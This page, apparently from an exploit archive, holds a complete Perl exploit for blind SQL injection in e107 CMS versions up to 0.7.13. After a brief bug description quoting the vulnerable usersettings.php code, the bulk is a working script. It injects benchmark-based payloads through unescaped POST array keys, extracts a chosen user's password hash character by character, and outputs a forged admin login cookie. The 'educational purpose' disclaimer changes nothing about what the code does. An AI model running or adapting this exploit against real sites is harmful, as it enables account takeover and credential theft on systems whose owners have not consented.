SecurityReason - e107 <= 0.7.13 (usersettings.php) Blind SQL Injection Exploit ( Exploit )

Exploit Code :

# Author: __GiReX__
# Homepage: http://girex.altervista.org
# Date: 19/10/2008

# CMS: e107
# URL: http://e107.org/

# Note: Works regardless of php.ini settings (magic_quotes,
register_globals..)

# Attenction: This exploit was written for educational purpose.
# Use it at your own risk. Author will be not responsible for any damage.

# Description: e107 is a content management system written in PHP
# and using the popular open source MySQL database system for content
storage.
# It's completely free, totally customisable and in constant development.

# Bug description:
# e107 presents a vuln in userssettings.php (line 363-395), a POST array
($_POST['ue'])
# goes into an update query, it cleans the values of this array but not the
keys name...

# File: usersettings.php (line 363-395)
if($_POST['ue'])
...
foreach($_POST['ue'] as $key => $val)
$err = $ue->user_extended_validate_entry($val,$extList[$key]);
if(!$err)
$val = $tp->toDB($val); <== Cleans values
$ue_fields .= $key."='".$val."'"; <== Here our
$_POST['ue'] keys and values
}
}
...
# Lines: 496-500

if($ue_fields)
{
// ***** Next line creates a record which presumably should be
there anyway, so could generate an error
$sql->db_Select_gen("INSERT INTO #user_extended (user_extended_id,
user_hidden_fields) values ('".intval($inp)."', '')");
$sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id =
'".intval($inp)."'"); <== Here vulnearable query
}

# As you can see the return value of the update query isn't checked so we
have to use a blind benchmark() method

#!/usr/bin/perl
# e107 <= 0.7.13 Blind SQL Injection Exploit
# Admin/User's Password Retrieve Exploit
# Works regardless of php.ini settings
# Coded by __GiReX__

use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;
use Digest::MD5 qw(md5 md5_hex md5_base64);

if(@ARGV < 4)
{
banner();
print "[+] You need an user account to run this exploit\n\n";
print "[+] Usage: perl $0 <host> <path> <your_username> <your_pass>
<victim_id>\n";
print "[+] Example: perl $0 localhost /e107/ test password 1\n";
exit;
}

my $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0].$ARGV[1]: 'http://'
. $ARGV[0].$ARGV[1];
my ($user, $pass, $id) = ($ARGV[2], $ARGV[3], ($ARGV[4]) ? $ARGV[4] : 1);

my $lwp = new LWP::UserAgent or die;
my $cookie_jar = new HTTP::Cookies or die;
$lwp->cookie_jar( $cookie_jar );

my @cset = (48..57, 97..102);

my $benchmark = 1000000;
my $prefix = "e107";
my $hash = "";

banner();
try_login($user, $pass) or die "[-] Unable to login with $user and
$pass\n";

syswrite(STDOUT, "[+] Logged in with your account..\n".
"[+] Checking database delay, please wait..\n\n" );

$ndelay = check_bench("1=0");
print STDOUT "[+] Normal delay: $ndelay\n";

$bdelay = check_bench("1=1");
print STDOUT "[+] Benchmark delay: $bdelay\n\n";

if($bdelay - $ndelay < 4)
{
print STDOUT "[-] Benchmarck delay too small compared to normal delay,
increase it.\n";
exit ();
}

for(my $j = 1; $j <= 32; $j++)
{
foreach $char(@cset)
{
info(chr($char), $hash, "password");

my ($pre_time, $post_time) = time();
$rv = check_char($char, $j, "user_password");
$post_time = time();

if($rv and ($post_time - $pre_time) > ($ndelay + 3))
{
$hash .= chr($char);
last;
}
}

last if $j != length($hash);
}

if(not defined $hash or length($hash) != 32)
{
print STDOUT "\n\n[-] Exploit mistake: please re-check benchmark\n";
exit;
}
else
{
print STDOUT "\n\n[+] You can try to login with this cookie:\n";
print STDOUT "[+] Cookie: ${cookie_prefix}cookie=${id}.".
md5_hex($hash)."\n";
}

sub try_login
{
my ($user, $pass) = @_;

my $res = $lwp->post( $target.'news.php' ,

[ 'username' => $user,
'userpass' => $pass,
'userlogin' => 'Login',
'autologin' => '1' ] );

if($res->status_line =~ /^302|200|301/ or $res->is_success)
{
if($res->as_string =~ /Set-Cookie: (.+)cookie/)
{
$cookie_prefix = $1;
return 1;
}

return undef;
}

die ("[-] Unable to request ${target}news.php ".$res->status_line."\n");
}

sub info
{
my($c, $cur, $str) = @_;

$cur = '' unless defined $cur;
print STDOUT "[+] Victim ${str}: ${cur}${c}\r";

$| = 1;
}

sub check_bench
{
my $true = shift;
my $delay = 0;

my $sql = "user_hidden_fields=99 AND CASE WHEN(${true}) THEN
benchmark(${benchmark}, MD5(1)) END#";

for(1..3)
{
my ($pre_time, $post_time) = time();

my $res = $lwp->post( $target.'usersettings.php',
[ 'email' => 'damn@email.com',
'updatesettings' => 'Save Settings',
"ue[${sql}]" => 'damn' ]);
$post_time = time();

$delay += int($post_time - $pre_time);
}

return ceil($delay / 3);
}

sub check_char
{
my ($char, $n, $field) = @_ ;
$rand = int($char + $n);

my $sql = "user_hidden_fields=${rand} AND CASE WHEN(SELECT
ASCII(SUBSTRING(${field},${n},1)) ".
"FROM ${prefix}_user WHERE user_id=${id})=${char} THEN
benchmark(${benchmark}, MD5(1)) END#";

my $res = $lwp->post( $target.'usersettings.php',
[ 'email' => 'damn@email.com',
'updatesettings' => 'Save Settings',
"ue[${sql}]" => 'damn' ]);

return $res->is_success;
}

sub banner
{
print "\n";
print "[+] e107 <= 0.7.13 Blind SQL Injection\n";
print "[+] Admin/User's Password Retrieve Exploit\n";
print "[+] Coded by __GiReX__\n";
print "\n";
}